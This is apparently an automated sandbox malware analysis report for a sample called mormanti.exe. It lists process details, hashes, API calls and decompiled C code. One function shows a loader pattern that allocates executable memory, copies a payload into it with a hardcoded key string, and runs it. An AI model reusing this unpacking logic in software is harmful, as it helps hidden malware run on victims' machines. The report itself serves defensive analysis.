Start date:	16/07/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff641450000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2648 Parent PID: 568

General

Start time:	17:06:49
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 4820 Parent PID: 2648

General

Start time:	17:07:50
Start date:	16/07/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Imagebase:	0x7ff6922b0000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5024 Parent PID: 4820

General

Start time:	17:07:50
Start date:	16/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: mormanti.exe PID: 3412 Parent PID: 5572 mormanti.exeCOMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	76.8%
Signature Coverage:	4%
Total number of Nodes:	1333
Total number of Limit Nodes:	24

Executed Functions

Function 00C121FD, Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 164
windowlibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E00C121FD(void* __edx, struct HACCEL__* _a4, intOrPtr _a16) {
				signed int _v8;
				void _v60;
				void* _v64;
				signed short _v68;
				intOrPtr _v72;
				struct HACCEL__* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				struct tagMSG _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t32;
				signed int _t34;
				struct HACCEL__* _t37;
				void* _t44;
				intOrPtr _t45;
				struct HACCEL__* _t47;
				struct HACCEL__* _t62;
				signed int _t77;
				void* _t83;
				void* _t90;
				signed int _t91;

				_t83 = __edx;
				_t29 =  *0xc16018; // 0x649a0353
				_v8 = _t29 ^ _t91;
				_v76 = _a4;
				_v68 = 0x442c83;
				_t32 = LoadLibraryExA("schtasks.exe", 0, 0); // executed
				if(_t32 != 0) {
					_v68 = 0xcfdb;
					 *0xc16034 = 0x5887;
				}
				do {
					__imp___time64(0);
					srand(_t32);
					_t34 = rand() & 0x80000003;
					if(_t34 < 0) {
						_t34 = (_t34 - 0x00000001 | 0xfffffffc) + 1;
					}
					_t32 = _t34 + 1;
				} while (_t32 <= 3);
				_t77 = 0xc;
				memcpy( &_v60, "0WmfLjNQIqUtwtvadlxNXC?y~xbeK~$uLkOQa%?~Wj4a3#Lu", _t77 << 2);
				asm("movsb");
				_t89 = E00C11FF2();
				_t37 = E00C12047(_t36, 0x1e27f4fd);
				_t87 = _t37;
				_v64 = E00C12047(_t36, 0xbce8a04f);
				_v80 = E00C12047(_t36, 0x5e97c023);
				_v84 = E00C12047(_t89, 0x355a1f6f);
				_v72 = E00C12047(_t89, 0x5b9200a9);
				_t90 = _t37->i(0, _v68 & 0x0000ffff, 0xa);
				if(_t90 != 0) {
					_t44 = _v64(0, _t90);
					_v64 = _t44;
					if(_t44 == 0) {
						goto L6;
					}
					_t47 = _v80(0, _t90);
					_t87 = _t47;
					_t90 = _v84(_v72(0, _t87, atoi("4096") | 0x00002000, 0x40, 0));
					if(_t90 == 0) {
						goto L6;
					}
					memcpy(_t90, _v64, _t87);
					E00C120CD();
					 *_t90(_t90, _t87,  &_v60, _t90);
					_t87 = _v76;
					_t90 = LoadStringW;
					LoadStringW(_t87, 0x67, 0xc164d8, 0x64);
					LoadStringW(_t87, 0x6d, 0xc16410, 0x64);
					E00C123C4(_t87);
					if(E00C12435(_t87, _a16) == 0) {
						goto L6;
					} else {
						_t62 = LoadAcceleratorsW(_t87, 0x6d);
						_t90 = GetMessageW;
						_t87 = _t62;
						while(GetMessageW( &_v112, 0, 0, 0) != 0) {
							if(TranslateAcceleratorW(_v112, _t87,  &_v112) == 0) {
								TranslateMessage( &_v112);
								DispatchMessageW( &_v112);
							}
						}
						E00C111BA();
						_t45 = _v112.wParam;
						L15:
						return E00C1272C(_t45, 0, _v8 ^ _t91, _t83, _t87, _t90);
					}
				}
				L6:
				_t45 = 0;
				goto L15;
			}

0x00c121fd
0x00c12203
0x00c1220a
0x00c1221c
0x00c1221f
0x00c12226
0x00c1222e
0x00c12230
0x00c12237
0x00c12237
0x00c12241
0x00c12242
0x00c12249
0x00c12257
0x00c1225c
0x00c12262
0x00c12262
0x00c12263
0x00c12264
0x00c1226b
0x00c12274
0x00c12276
0x00c1227c
0x00c12283
0x00c1228d
0x00c12299
0x00c122a6
0x00c122b3
0x00c122be
0x00c122cb
0x00c122cf
0x00c122da
0x00c122dd
0x00c122e2
0x00000000
0x00000000
0x00c122e6
0x00c122f1
0x00c12309
0x00c1230d
0x00000000
0x00000000
0x00c12314
0x00c12320
0x00c12328
0x00c1232a
0x00c1232d
0x00c1233d
0x00c12349
0x00c1234d
0x00c1235f
0x00000000
0x00c12365
0x00c12368
0x00c1236e
0x00c12374
0x00c1239e
0x00c12388
0x00c1238e
0x00c12398
0x00c12398
0x00c12388
0x00c123ab
0x00c123b0
0x00c123b3
0x00c123c1
0x00c123c1
0x00c1235f
0x00c122d1
0x00c122d1
0x00000000

APIs

LoadLibraryExA.KERNELBASE(schtasks.exe,00000000,00000000), ref: 00C12226
_time64.MSVCR90 ref: 00C12242
srand.MSVCR90 ref: 00C12249
rand.MSVCR90 ref: 00C12251
atoi.MSVCR90 ref: 00C122F3
VirtualAllocExNuma.KERNELBASE(00000000), ref: 00C12306
memcpy.MSVCR90 ref: 00C12314
LoadStringW.USER32(?,00000067,00C164D8,00000064), ref: 00C1233D
LoadStringW.USER32(?,0000006D,00C16410,00000064), ref: 00C12349
LoadAcceleratorsW.USER32 ref: 00C12368
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00C12380
TranslateMessage.USER32(?), ref: 00C1238E
DispatchMessageW.USER32 ref: 00C12398
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00C123A5

Strings

schtasks.exe, xrefs: 00C12217
0WmfLjNQIqUtwtvadlxNXC?y~xbeK~$uLkOQa%?~Wj4a3#Lu, xrefs: 00C1226C
4096, xrefs: 00C122EC

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: Load$Message$StringTranslate$AcceleratorAcceleratorsAllocDispatchLibraryNumaVirtual_time64atoimemcpyrandsrand
String ID: 0WmfLjNQIqUtwtvadlxNXC?y~xbeK~$uLkOQa%?~Wj4a3#Lu$4096$schtasks.exe
API String ID: 1692861963-3368545145
Opcode ID: 8c99ab0c7096f4e38d415a792dd8f07fdf6f288ca7c95037349106f49155464b
Instruction ID: 10b977d3cb515a8d67673702935da28c695f4bb38f3c8e7a6f67b5b831b88493
Opcode Fuzzy Hash: 8c99ab0c7096f4e38d415a792dd8f07fdf6f288ca7c95037349106f49155464b
Instruction Fuzzy Hash: 4451B4B5D00218BBDB14ABB09C89FEE7ABCEF4B310F104425F911F7150DB748991AB60

Uniqueness

Uniqueness Score: -1.00%

Function 02DC2871, Relevance: 4.6, APIs: 3, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,2FF792F7), ref: 02DC2932
FindNextFileW.KERNELBASE(?,?,?,?,2FF792F7), ref: 02DC2A2C
FindClose.KERNELBASE(?,?,?,2FF792F7), ref: 02DC2A67

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 2d0197225657cc5eb1236ce74a892b43bb9281e659f5c86845bd12f0e2e4aa6d
Instruction ID: 2437ef56a54131250166d012995df1ef57e71214bf90725f079e01b59bf4f018
Opcode Fuzzy Hash: 2d0197225657cc5eb1236ce74a892b43bb9281e659f5c86845bd12f0e2e4aa6d
Instruction Fuzzy Hash: 8341492564821B6ADF38A5A49C4CBBE2265DB84324F30015EED19EB3C0DF71CEC5CA56

Uniqueness

Uniqueness Score: -1.00%

Function 02DC388F, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 166
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceW.ADVAPI32(?,?,00000001,00000000,1430A5A4,00000000,?,?,?,?,?,?,?,02DC5E1C), ref: 02DC3943

Part of subcall function 02DC2FB6: RtlAllocateHeap.NTDLL(00000000,00000008,?,?,00000000,00000001,00000000,?,00000000,00000000), ref: 02DC2FE6

Strings

ddO#, xrefs: 02DC3A72
ddO#, xrefs: 02DC38E1
ddO#, xrefs: 02DC3A8B
Q[L4, xrefs: 02DC38FF

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: AllocateHeapOpenService
String ID: Q[L4$ddO#$ddO#$ddO#
API String ID: 4051131143-3919308813
Opcode ID: 16a90e73127847b2da0756759072ae951061bff6f254d1bace3a7ad4b2acc776
Instruction ID: 0c73bee64da0b94a4175f84e9231dcb1d192bce92c9ac418e2ba57bd1c99b34f
Opcode Fuzzy Hash: 16a90e73127847b2da0756759072ae951061bff6f254d1bace3a7ad4b2acc776
Instruction Fuzzy Hash: 59514B32F482165BDB5CA69D8C847BDA2B39F84304F35819EDD55BB3D4DB61CD018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DB002D, Relevance: 4.9, APIs: 3, Instructions: 392
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,02DB0005), ref: 02DB00EB
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,02DB0005), ref: 02DB0113

Memory Dump Source

Source File: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_mormanti.jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 473b58f7a167e2a1e580efbb33301050c8c34e0b7915a5bdb1048dcc05cabd4f
Instruction ID: 4d3a58295b271655c2b8beb2221ea3d4c4d626a31f2330c9820a3588e05c635a
Opcode Fuzzy Hash: 473b58f7a167e2a1e580efbb33301050c8c34e0b7915a5bdb1048dcc05cabd4f
Instruction Fuzzy Hash: 23E1AE71A08306CFDB25CF59C8647AAB7E1BF8430AF18852DE8969B341E774EC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DC58E2, Relevance: 3.1, APIs: 2, Instructions: 132
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000100,00000001,00000000,00000003,00000000,00000000,?,?,?), ref: 02DC596C
SetFileInformationByHandle.KERNELBASE(?,00000000,?,00000028,?,?,?), ref: 02DC59E6

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: File$CreateHandleInformation
String ID:
API String ID: 3667790775-0
Opcode ID: 700463bc55b23c3621883cdcb4b2f89d35d26a65cad31a50505bb3d9e126300d
Instruction ID: 4f346337810d4f6644ddce7ab2548f1703d15fa87d5a3c137cdf09da29ab9948
Opcode Fuzzy Hash: 700463bc55b23c3621883cdcb4b2f89d35d26a65cad31a50505bb3d9e126300d
Instruction Fuzzy Hash: 81412D34B0420A6BDB18DA689C847AE76A5DB48B10F70016EF515FB3C0DF71DE458BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C1285B, Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C1283F: __onexit.MSVCRT ref: 00C12847

__wgetmainargs.MSVCR90 ref: 00C12886
_amsg_exit.MSVCR90 ref: 00C1289A

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: __onexit__wgetmainargs_amsg_exit
String ID:
API String ID: 4257578400-0
Opcode ID: 35e4ea89e8fa84dab0f9274beac45ca115afeccc58a9c076846ca3d26f280163
Instruction ID: 63f4e73cc7cda97164264f3f37c37b775af22abefa961bd64677ec10d0b2207d
Opcode Fuzzy Hash: 35e4ea89e8fa84dab0f9274beac45ca115afeccc58a9c076846ca3d26f280163
Instruction Fuzzy Hash: 7FE0ECB85423016AD604AF249C027D936A0B71B709B42C0B8E941962A1DBB080E5F70A

Uniqueness

Uniqueness Score: -1.00%

Function 02DC67D8, Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,?,?), ref: 02DC68CF

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 378404c894a654280cf2eea37549809294b31be073a0368c4c4da67c6e8f9a40
Instruction ID: d137db34f50a227f3c36371fa7e107d3a1bb3282554463314c276b4803c26983
Opcode Fuzzy Hash: 378404c894a654280cf2eea37549809294b31be073a0368c4c4da67c6e8f9a40
Instruction Fuzzy Hash: F64119703443075BD6389AA89C89F2D629DDB84714F30083EBA45EB7C4CE50DC499A9A

Uniqueness

Uniqueness Score: -1.00%

Function 02DC5A8F, Relevance: 1.6, APIs: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000080,00000001,00000000,00000003,00000000,00000000), ref: 02DC5B0D

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1b639b2ec8b1ebbbd28142e06133490cd9ad1041bb675d30eb6598ad82ceee32
Instruction ID: 2f557852b1c0f8fabe0cc1331912b80ff285ce22a3c83920a829bc81d6cf9102
Opcode Fuzzy Hash: 1b639b2ec8b1ebbbd28142e06133490cd9ad1041bb675d30eb6598ad82ceee32
Instruction Fuzzy Hash: B931AF72E0431526DA24A4696CC8FAE966FDBC4720FB5005EED50BB3C0CF516D80C6B6

Uniqueness

Uniqueness Score: -1.00%

Function 02DC3564, Relevance: 1.6, APIs: 1, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 02DC35AC

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1e153ce14dc5516947b3b2631774f1796cc2d9bfe74ea9ecc3bd69f9f6cc9927
Instruction ID: 99f6fee40550169ce3698c556cf8c65f868935e7055a50aac5f7e360ca2384ab
Opcode Fuzzy Hash: 1e153ce14dc5516947b3b2631774f1796cc2d9bfe74ea9ecc3bd69f9f6cc9927
Instruction Fuzzy Hash: C611A172B1020E7BAB11DAA59C40CBF776EEB85764B30442EBC16DB384DE71CE0585B0

Uniqueness

Uniqueness Score: -1.00%

Function 02DC274C, Relevance: 1.5, APIs: 1, Instructions: 36
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?), ref: 02DC27AA

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 6a1bb93908afc2a1caa1319e99df5202f8ba1d48d2848991ad569f7bf8e6e716
Instruction ID: a240903939ba98999eca2451181ce1c6cf4a82de9f0b668c03a603a56033bb8b
Opcode Fuzzy Hash: 6a1bb93908afc2a1caa1319e99df5202f8ba1d48d2848991ad569f7bf8e6e716
Instruction Fuzzy Hash: FBF0EC2570431927D51475685C25EBB329FCBC4720F20016FBD58E73C5DEA5CD8605B5

Uniqueness

Uniqueness Score: -1.00%

Function 02DC2FB6, Relevance: 1.5, APIs: 1, Instructions: 19
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,?,?,00000000,00000001,00000000,?,00000000,00000000), ref: 02DC2FE6

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2789db4cbd2f47612d4614af521ccb7a4a8d09eb94984b978349a42fce7eeb12
Instruction ID: c571433f5e2a882549685b36bf68093751778fef6f1a1edc18ec762cc89d139b
Opcode Fuzzy Hash: 2789db4cbd2f47612d4614af521ccb7a4a8d09eb94984b978349a42fce7eeb12
Instruction Fuzzy Hash: 48D0C75525759016E55475656C15B6B014A9F95B10F30850F6614AF2C88DA58C4141BA

Uniqueness

Uniqueness Score: -1.00%

Function 02DC4171, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 02DC418D

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4f12a683114e87a03047e88717255a48732639f01366d0deba0e5039b6408396
Instruction ID: 2d6ad316d7bd6b72d58e80038c6570f70e082b382a9309395d67cb62173e860a
Opcode Fuzzy Hash: 4f12a683114e87a03047e88717255a48732639f01366d0deba0e5039b6408396
Instruction Fuzzy Hash: 86B012B639120531E0283A700C25B0F00274BD0F00F34840E25121F3CD8FD18C0016BE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C1272C, Relevance: 10.6, APIs: 7, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00C1272C(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t32;

				_t25 = __esi;
				_t24 = __edi;
				_t23 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t32 = _t20 -  *0xc16018; // 0x649a0353
				if(_t32 == 0) {
					asm("repe ret");
				}
				 *0xc161d8 = _t6;
				 *0xc161d4 = _t20;
				 *0xc161d0 = _t23;
				 *0xc161cc = _t19;
				 *0xc161c8 = _t25;
				 *0xc161c4 = _t24;
				 *0xc161f0 = ss;
				 *0xc161e4 = cs;
				 *0xc161c0 = ds;
				 *0xc161bc = es;
				 *0xc161b8 = fs;
				 *0xc161b4 = gs;
				asm("pushfd");
				_pop( *0xc161e8);
				 *0xc161dc =  *_t29;
				 *0xc161e0 = _v0;
				 *0xc161ec =  &_a4;
				 *0xc16128 = 0x10001;
				_t11 =  *0xc161e0; // 0x0
				 *0xc160dc = _t11;
				 *0xc160d0 = 0xc0000409;
				 *0xc160d4 = 1;
				_t12 =  *0xc16018; // 0x649a0353
				_v812 = _t12;
				_t13 =  *0xc1601c; // 0x9b65fcac
				_v808 = _t13;
				 *0xc16120 = IsDebuggerPresent();
				_push(1);
				L00C1308E();
				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(0xc14254);
				if( *0xc16120 == 0) {
					_push(1);
					L00C1308E();
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00c1272c
0x00c1272c
0x00c1272c
0x00c1272c
0x00c1272c
0x00c1272c
0x00c1272c
0x00c12732
0x00c12734
0x00c12734
0x00c12b75
0x00c12b7a
0x00c12b80
0x00c12b86
0x00c12b8c
0x00c12b92
0x00c12b98
0x00c12b9f
0x00c12ba6
0x00c12bad
0x00c12bb4
0x00c12bbb
0x00c12bc2
0x00c12bc3
0x00c12bcc
0x00c12bd4
0x00c12bdc
0x00c12be7
0x00c12bf1
0x00c12bf6
0x00c12bfb
0x00c12c05
0x00c12c0f
0x00c12c14
0x00c12c1a
0x00c12c1f
0x00c12c2b
0x00c12c30
0x00c12c32
0x00c12c3a
0x00c12c45
0x00c12c52
0x00c12c54
0x00c12c56
0x00c12c5b
0x00c12c6f

APIs

IsDebuggerPresent.KERNEL32 ref: 00C12C25
_crt_debugger_hook.MSVCR90(00000001), ref: 00C12C32
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00C12C3A
UnhandledExceptionFilter.KERNEL32(00C14254), ref: 00C12C45
_crt_debugger_hook.MSVCR90(00000001), ref: 00C12C56
GetCurrentProcess.KERNEL32(C0000409), ref: 00C12C61
TerminateProcess.KERNEL32(00000000), ref: 00C12C68

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled_crt_debugger_hook$CurrentDebuggerPresentTerminate
String ID:
API String ID: 3369434319-0
Opcode ID: 94ba875b617978d77ab22ed9a7bd25b07491e21a9467eba8b402f2e18a90f439
Instruction ID: 59bbf85b3b7af2a8cc4db606e1224606f3967854976eae17940ff2feeacac1f5
Opcode Fuzzy Hash: 94ba875b617978d77ab22ed9a7bd25b07491e21a9467eba8b402f2e18a90f439
Instruction Fuzzy Hash: C221CCB4801204EFCB51DF25E8487CC3BB4BB0F315F21C15AE90987262E7B19A85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 02DB23AF, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

,+, xrefs: 02DB2414
-v y, xrefs: 02DB23C9
i), xrefs: 02DB24F6
|@W, xrefs: 02DB23C2

Memory Dump Source

Source File: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID: ,+$-v y$i)$|@W
API String ID: 0-1795958218
Opcode ID: 5c3b8ee2a8d616b8b2a4e0a5c41b98f18c0676194af09eea036cbe58527da467
Instruction ID: adc1a950463e9685234c674b13480e211448e1c74a6a547dae882edecf9d4d99
Opcode Fuzzy Hash: 5c3b8ee2a8d616b8b2a4e0a5c41b98f18c0676194af09eea036cbe58527da467
Instruction Fuzzy Hash: BB51A0B1D46309EBEB14CFA4D68A6DDFFB5EF55320F20C09AC001AB294D7B81B45AB40

Uniqueness

Uniqueness Score: -1.00%

Function 02DC2A70, Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

,+, xrefs: 02DC2AD5
-v y, xrefs: 02DC2A8A
i), xrefs: 02DC2BB7
|@W, xrefs: 02DC2A83

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID: ,+$-v y$i)$|@W
API String ID: 0-1795958218
Opcode ID: 5c3b8ee2a8d616b8b2a4e0a5c41b98f18c0676194af09eea036cbe58527da467
Instruction ID: 50f09fff12cd9736f47ac562c7e6854af29d0d3ce5ccdc8364cc6dd2c64828f6
Opcode Fuzzy Hash: 5c3b8ee2a8d616b8b2a4e0a5c41b98f18c0676194af09eea036cbe58527da467
Instruction Fuzzy Hash: 6A51A0B1D46309EBEB14CFA4D68A69DFFB5EF45320F20C09AC001AB294D7B81B45AB40

Uniqueness

Uniqueness Score: -1.00%

Function 00C11FF2, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

_wcslwr.MSVCR90 ref: 00C12015

Strings

0WmfLjNQIqUtwtvadlxNXC?y~xbeK~$uLkOQa%?~Wj4a3#Lu, xrefs: 00C11FF4

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: _wcslwr
String ID: 0WmfLjNQIqUtwtvadlxNXC?y~xbeK~$uLkOQa%?~Wj4a3#Lu
API String ID: 1719055571-2307915346
Opcode ID: 37768053c9b4828e64172bbaecb64826244be8c8d5984db7e1b80529faca53e3
Instruction ID: ac6623eb1c90825c23b6433753a1314bc8acd3b4eca33e29191fbc8b3005af2c
Opcode Fuzzy Hash: 37768053c9b4828e64172bbaecb64826244be8c8d5984db7e1b80529faca53e3
Instruction Fuzzy Hash: E7F0E93A211250DFD364CF19D4849AAF7F4FB8A371726C16AE89687720C734AC50EB50

Uniqueness

Uniqueness Score: -1.00%

Function 02DB253B, Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

i), xrefs: 02DB268F
,+, xrefs: 02DB25B4

Memory Dump Source

Source File: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID: ,+$i)
API String ID: 0-2095692697
Opcode ID: 06edf3a5fa7240f74c324cc7a93d6480effee33e413d48d210d0f490493c4704
Instruction ID: 7d33893bd5c46336cc7d602fcd62bc0d07c1dc9c5bbffec7cb30960f990afbc5
